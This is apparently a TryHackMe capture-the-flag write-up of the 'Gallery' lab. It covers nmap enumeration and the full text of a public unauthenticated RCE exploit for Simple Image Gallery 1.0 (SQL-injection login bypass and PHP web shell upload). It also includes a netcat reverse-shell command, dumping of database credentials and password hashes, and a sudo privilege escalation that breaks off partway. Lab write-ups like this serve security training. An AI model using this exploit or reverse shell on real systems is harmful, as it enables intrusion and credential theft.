TryHackMe: Gallery

Introduction

Challenge Name: Gallery

Difficulty: Easy

Gallery

Nmap Enumeration

Command :

$ sudo nmap -A -T4 --open -p- 10.10.17.83 -oN Gallery.nmap 

Output :

# Nmap 7.92 scan initiated Thu Sep 15 01:55:38 2022 as: nmap -A -T4 --open -p- -oN Gallery.nmap 10.10.17.83
Nmap scan report for 10.10.17.83
Host is up (0.19s latency).
Not shown: 65516 closed tcp ports (reset), 17 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Simple Image Gallery System
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=9/15%OT=80%CT=1%CU=40259%PV=Y%DS=5%DC=T%G=Y%TM=6322393
OS:1%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=108%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)OPS(O1=M506ST11NW6%O2=M506ST11NW6%O
OS:3=M506NNT11NW6%O4=M506ST11NW6%O5=M506ST11NW6%O6=M506ST11)WIN(W1=F4B3%W2=
OS:F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M506NNSN
OS:W6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 5 hops

TRACEROUTE (using port 443/tcp)
HOP RTT       ADDRESS
1   38.77 ms  10.17.0.1
2   ... 4
5   238.24 ms 10.10.17.83

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Sep 15 01:57:29 2022 -- 1 IP address (1 host up) scanned in 110.99 seconds

Q: How many ports are open?

A: 2

Q: What’s the name of the CMS?

A: Simple Image Gallery

Fetching the Exploit

Simple Image Gallery 1.0 - Remote Code Execution (RCE) (Unauthenticated) -> Exploit

# Exploit Title: Simple Image Gallery 1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 17.08.2021
# Exploit Author: Tagoletta (Tağmaç)
# Software Link: https://www.sourcecodester.com/php/14903/simple-image-gallery-web-app-using-php-free-source-code.html
# Version: V 1.0
# Tested on: Ubuntu

import requests
import random
import string
import json
from bs4 import BeautifulSoup

url = input("TARGET = ")

if not url.startswith('http://') and not url.startswith('https://'):
    url = "http://" + url
if not url.endswith('/'):
    url = url + "/"

payload= "<?php if(isset($_GET['cmd'])){ echo '<pre>'; $cmd = ($_GET['cmd']); system($cmd); echo '</pre>'; die; } ?>"

session = requests.session()

print("Login Bypass")

request_url = url + "/classes/Login.php?f=login"
post_data = {"username": "admin' or '1'='1'#", "password": ""}
bypassUser = session.post(request_url, data=post_data)
data = json.loads(bypassUser.text)
status = data["status"]

if status == "success":

    let = string.ascii_lowercase

    shellname = ''.join(random.choice(let) for i in range(15))
    shellname = 'Tago'+shellname+'Letta'

    print("shell name "+shellname)

    print("\nprotecting user")
    request_url = url + "?page=user"
    getHTML = session.get(request_url)
    getHTMLParser = BeautifulSoup(getHTML.text, 'html.parser')

    ids = getHTMLParser.find('input', {'name':'id'}).get("value")
    firstname = getHTMLParser.find('input', {'id':'firstname'}).get("value")
    lastname = getHTMLParser.find('input', {'id':'lastname'}).get("value")
    username = getHTMLParser.find('input', {'id':'username'}).get("value")

    print("\nUser ID : " + ids)
    print("Firsname : " + firstname)
    print("Lasname : " + lastname)
    print("Username : " + username + "\n")

    print("shell uploading")

    request_url = url + "/classes/Users.php?f=save"
    request_headers = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary9nI3gVmJoEZoZyeA"}
    request_data = "------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n"+ids+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"firstname\"\r\n\r\n"+firstname+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"lastname\"\r\n\r\n"+lastname+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n"+username+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"img\"; filename=\""+shellname+".php\"\r\nContent-Type: application/octet-stream\r\n\r\n"+payload+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA--\r\n"
    upload = session.post(request_url, headers=request_headers, data=request_data)

    if upload.text == "1":
        print("- OK -")
        req = session.get(url + "/?page=user")
        parser = BeautifulSoup(req.text, 'html.parser')
        find_shell = parser.find('img', {'id':'cimg'})
        print("Shell URL : " + find_shell.get("src") + "?cmd=whoami")
    else:
        print("- NO :( -")
else:
    print("No bypass user")

User Flag

Run the exploit

$ python3 exploit.py
TARGET = http://10.10.17.83/gallery/
Login Bypass
shell name TagoacenqkeozzskpfxLetta

protecting user

User ID : 1
Firsname : Adminstrator
Lasname : Admin
Username : admin

shell uploading
- OK -
Shell URL : http://10.10.17.83/gallery/uploads/1663192260_TagoacenqkeozzskpfxLetta.php?cmd=whoami

Get A Reverse Shell

$ curl 'http://10.10.17.83/gallery/uploads/1663192260_TagoacenqkeozzskpfxLetta.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20<THM IP>%20<PORT>%20%3E%2Ftmp%2Ff'

Get Admin Hash

$ cat initialize.php                                                                                          
<?php
$dev_data = array('id'=>'-1','firstname'=>'Developer','lastname'=>'','username'=>'dev_oretnom','password'=>'5da283a2d990e8d8512cf967df5bc0d0','last_login'=>'','date_updated'=>'','date_added'=>'');

if(!defined('base_url')) define('base_url',"http://" . $_SERVER['SERVER_ADDR'] . "/gallery/");
if(!defined('base_app')) define('base_app', str_replace('\\','/',__DIR__).'/' );
if(!defined('dev_data')) define('dev_data',$dev_data);
if(!defined('DB_SERVER')) define('DB_SERVER',"localhost");
if(!defined('DB_USERNAME')) define('DB_USERNAME',"gallery_user");
if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"passw0rd321");
if(!defined('DB_NAME')) define('DB_NAME',"gallery_db");
$ mysql -h 127.0.0.1 -u "gallery_user" -p                                                                     
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 129656
Server version: 10.1.48-MariaDB-0ubuntu0.18.04.1 Ubuntu 18.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| gallery_db         |
| information_schema |
+--------------------+
2 rows in set (0.01 sec)

MariaDB [(none)]> use gallery_db
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [gallery_db]> show tables;
+----------------------+
| Tables_in_gallery_db |
+----------------------+
| album_list           |
| images               |
| system_info          |
| users                |
+----------------------+
4 rows in set (0.00 sec)

MariaDB [gallery_db]> select * from users;
+----+--------------+----------+----------+----------------------------------+-------------------------------------------------+------------+------+---------------------+---------------------+
| id | firstname    | lastname | username | password                         | avatar                                          | last_login | type | date_added          | date_updated        |
+----+--------------+----------+----------+----------------------------------+-------------------------------------------------+------------+------+---------------------+---------------------+
|  1 | Adminstrator | Admin    | admin    | a228b12a08b6527e7978cbe5d914531c | uploads/1663192260_TagoacenqkeozzskpfxLetta.php | NULL       |    1 | 2021-01-20 14:02:37 | 2022-09-14 21:51:08 |
+----+--------------+----------+----------+----------------------------------+-------------------------------------------------+------------+------+---------------------+---------------------+
1 row in set (0.01 sec)

Q: What’s the hash password of the admin user?

A: a228b12a08b6527e7978cbe5d914531c

Get User Flag

$ cd /var/backups/mike_home_backup
$ ls -la
total 36
drwxr-xr-x 5 root root 4096 May 24  2021 .
drwxr-xr-x 3 root root 4096 Sep 14 20:23 ..
-rwxr-xr-x 1 root root  135 May 24  2021 .bash_history
-rwxr-xr-x 1 root root  220 May 24  2021 .bash_logout
-rwxr-xr-x 1 root root 3772 May 24  2021 .bashrc
drwxr-xr-x 3 root root 4096 May 24  2021 .gnupg
-rwxr-xr-x 1 root root  807 May 24  2021 .profile
drwxr-xr-x 2 root root 4096 May 24  2021 documents
drwxr-xr-x 2 root root 4096 May 24  2021 images
$ cat .bash_history                                                                                   
cd ~
ls
ping 1.1.1.1
cat /home/mike/user.txt
cd /var/www/
ls
cd html
ls -al
cat index.html
sudo -lb3stpassw0rdbr0xx
clear
sudo -l
exit
$ su mike -l                                                                                          
Password: 
mike@gallery:~$ cat user.txt 
THM{xxxx-xxx-xxx-xxxx}

Escalating to Root

Checking Sudo Privileges

$ sudo -l
Matching Defaults entries for mike on gallery:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mike may run the following commands on gallery:
    (root) NOPASSWD: /bin/bash /opt/rootkit.sh
$ cat /opt/rootkit.sh
#!/bin/bash

read -e -p "Would you like to versioncheck, update, list or read the report ? " ans;

# Execute your choice
case $ans in
    versioncheck)
        /usr/bin/rkhunter --versioncheck ;;
    update)
        /usr/bin/rkhunter --update;;
    list)
        /usr/bin/rkhunter --list;;
    read)
        /bin/nano /root/report.txt;;
    *)
        exit;;
esac

Get Root Flag

$ sudo /bin/bash /opt/rootkit.sh
Would you like to versioncheck, update, list or read the report ? read